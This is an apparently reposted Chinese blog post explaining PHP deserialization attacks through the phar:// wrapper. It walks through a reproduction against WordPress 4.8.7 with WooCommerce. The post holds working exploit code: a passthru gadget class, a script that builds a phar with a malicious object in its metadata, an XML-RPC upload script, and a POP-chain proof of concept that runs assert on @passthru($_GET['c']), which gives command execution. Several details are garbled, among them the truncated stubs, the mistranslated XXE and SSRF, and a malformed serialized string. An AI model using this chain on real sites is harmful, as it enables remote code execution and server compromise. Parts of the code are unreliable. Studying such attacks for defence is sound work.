博客
关于我
PHP反序列化漏洞的新攻击面
阅读量:175 次
发布时间:2019-02-28

本文共 4873 字,大约阅读时间需要 16 分钟。

PHP反序列化漏洞及其在WordPress中的复现与分析

自2009年Stefan Essar提出PHP反序列化问题以来,已经有大量的CVE出现,例如CVE-2017-12934、CVE-2017-12933等。在今年8月份的美国黑帽大会上,Sam Thomas提出了一种新的反序列化攻击场景,这种场景可能伴随着xxe(远程代码执行)、ssrf(跨站请求伪造)或其他相关漏洞的出现。本文将会介绍这一新型反序列化攻击场景,并针对WordPress中的漏洞进行复现和分析。

PHP反序列化漏洞简介

PHP反序列化漏洞也被称为PHP对象注入。其形成原因在于程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而引发代码执行、文件操作、数据库操作等不可控后果。这种类型的安全问题在Java、Python等面向对象语言中均存在。

PHP反序列化漏洞的主要原理

在大型Web项目中,可能存在以下代码:

class AnyClass {    public $name;    function __destruct() {        passthru($this->name);    }}

AnyClass类中存在一个变量$name,以及一个__destruct方法。__destruct方法会在类实例被销毁时自动调用,并通过passthru函数执行$this->name的值。如果$name属性设置为用户可控的值(如whoami),则可能导致远程命令执行。

PHP允许将对象进行序列化以便重用,serialize函数将对象的信息保存下来,而unserialize函数则将其还原。在反序列化过程中,攻击者可以通过控制unserialize函数的输入,利用存在的类(如上述AnyClass)进行攻击。

需要注意的是,如果$name属性为protectedprivate,则需要通过子类或其他方式绕过访问控制,例如:

class ChildClass extends AnyClass {    protected $wc;    public function make() {        $this->wc = new AnyClass();        $this->wc->name = 'whoami';        return serialize($this->wc);    }}

序列化结果为:

O:8:"AnyClass":1:{s:7:"*name";s:6:"whoami";}

此时反序列化后会执行passthru("whoami"),从而导致远程命令执行。

Stream Wrappers的应用

PHP的文件操作函数(如fopencopyfile_exists等)能够接受许多内置的Stream Wrappers。PHP 5.3以后的主要Stream Wrappers包括:

  • file://
  • http://
  • ftp://
  • php://
  • zlib://
  • data://
  • glob://
  • phar://

php://流转换器在xxe、本地文件包含或SSRF等漏洞中尤为常见。例如,php://input可以用来读取请求正文,而php://filter/convert.base64-encode/resource=index.php可以用来读写文件。

Phar流转换器的攻击方法

Phar流转换器允许通过PHP直接创建和使用归档文件。例如,可以通过以下代码创建一个Phar文件:

@unlink("phar.phar");$phar = new Phar("phar.phar");$phar->startBuffering();$phar->addFromString("test.txt", "test");$phar->setStub("
");$phar->setMetadata($this->wc);$phar->stopBuffering();

通过setMetadata方法可以将对象以序列化形式存入Phar文件中。当目标站点上传包含攻击payload的Phar归档文件后,攻击者可以通过控制文件操作函数的参数,将Phar文件解析为phar://xxx.jpg/test.txt,从而触发远程命令执行。

WordPress漏洞复现与分析

复现环境

复现环境使用WordPress 4.8.7,并安装了最新版本的 WooCommerce插件。首先需要登录WordPress后台,并创建一个具有作者权限的账号。

攻击过程

  • 通过XML-RPC上传包含payload的图片

    $filename = "phar.jpg";$username = 'author';$password = 'xxxx';$wpsite = 'http://127.0.0.1/wordpress';$xmlclient = $wpsite.'/xmlrpc.php';$client = new IXR_Client($xmlclient);$client->debug = true;$params = array(    'name' => 'phartest.jpg',    'type' => 'image/pwnage',    'bits' => new IXR_Base64(file_get_contents($filename)),    'overwrite' => false);if (!$res = $client->query('wp.uploadFile', 1, $username, $password, $params)) {    die('Something went wrong – '.$client->getErrorCode().' : '.$client->getErrorMessage());} else {    $response = $client->getResponse();    print_r($response);}
  • 构造并发送XML-RPC请求

    通过Burp Suite抓包工具构造以下XML-RPC请求:

    wp.getMediaItem
    1
    author
    xxxx
    29
  • 攻击效果

    通过上述步骤,攻击者可以控制WordPress的文件操作函数,将phar://./wp-content/uploads/2018/08/phartest-9.jpg/test.txt解析为Phar文件,从而触发命令执行。

  • 漏洞原理分析

    漏洞触发点位于wp-includes/post.php中的wp_get_attachment_thumb_file函数:

    function wp_get_attachment_thumb_file($post_id = 0) {    $file = get_attached_file($post_id);    if (!empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile)) {        // 读取缩略图文件    }}

    get_attached_file函数通过get_post_meta获取_wp_attached_file的值。通过构造特定的文件路径,可以绕过正则判断,导致get_attached_file返回Z:/Z,从而将phar://./wp-content/uploads/2018/08/phartest-9.jpg/test.txt传入file_exists函数,最终触发命令执行。

    反序列化POP链构造

    在WordPress 4.9及以上版本,__toString()方法中被移除create_function,因此POP链攻击已被修复。然而,可以通过其他方法构造反序列化POP链,例如利用Requests_Utility_FilteredIterator类的current方法。

    class Requests_Utility_FilteredIterator extends ArrayIterator {    protected $callback;    public function __construct($data, $callback) {        parent::__construct($data);        $this->callback = $callback;    }    public function current() {        $value = parent::current();        $value = call_user_func($this->callback, $value);        return $value;    }}

    通过构造以下类,可以实现命令执行:

    require('wp-load.php');require_once(dirname(__FILE__) . '/wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php');require_once(dirname(__FILE__) . '/wp-includes/Requests/Utility/FilteredIterator.php');$arr = array("1" => '@passthru($_GET["c"]);');$obj_ = new Requests_Utility_FilteredIterator($arr, "assert");class myClass extends WC_Log_Handler_File {    protected $wc;    public function make($handle) {        $this->wc = new WC_Log_Handler_File();        $this->wc->handles = $handle;        // 其他依赖文件加载        @unlink("phar.phar");        $phar = new Phar("phar.phar");        $phar->startBuffering();        $phar->addFromString("test.txt", "test");        $phar->setStub("
    "); $phar->setMetadata($this->wc); $phar->stopBuffering(); }}

    此POC需要在WordPress根目录下执行,以确保依赖文件正确加载。

    转载地址:http://fngc.baihongyu.com/

    你可能感兴趣的文章
    NodeJS 导入导出模块的方法( 代码演示 )
    查看>>
    nodejs 开发websocket 笔记
    查看>>
    nodejs 的 Buffer 详解
    查看>>
    nodejs 读取xlsx文件内容
    查看>>
    nodejs 运行CMD命令
    查看>>
    Nodejs+Express+Mysql实现简单用户管理增删改查
    查看>>
    nodejs+nginx获取真实ip
    查看>>
    nodejs-mime类型
    查看>>
    NodeJs——(11)控制权转移next
    查看>>
    NodeJS、NPM安装配置步骤(windows版本)
    查看>>
    NodeJS、NPM安装配置步骤(windows版本)
    查看>>
    nodejs与javascript中的aes加密
    查看>>
    nodejs中Express 路由统一设置缓存的小技巧
    查看>>
    nodejs中express的使用
    查看>>
    Nodejs中的fs模块的使用
    查看>>
    NodeJS使用淘宝npm镜像站的各种姿势
    查看>>
    nodejs包管理工具对比:npm、Yarn、cnpm、npx
    查看>>
    NodeJs单元测试之 API性能测试
    查看>>
    nodejs图片转换字节保存
    查看>>
    nodejs在Liunx上的部署生产方式-PM2
    查看>>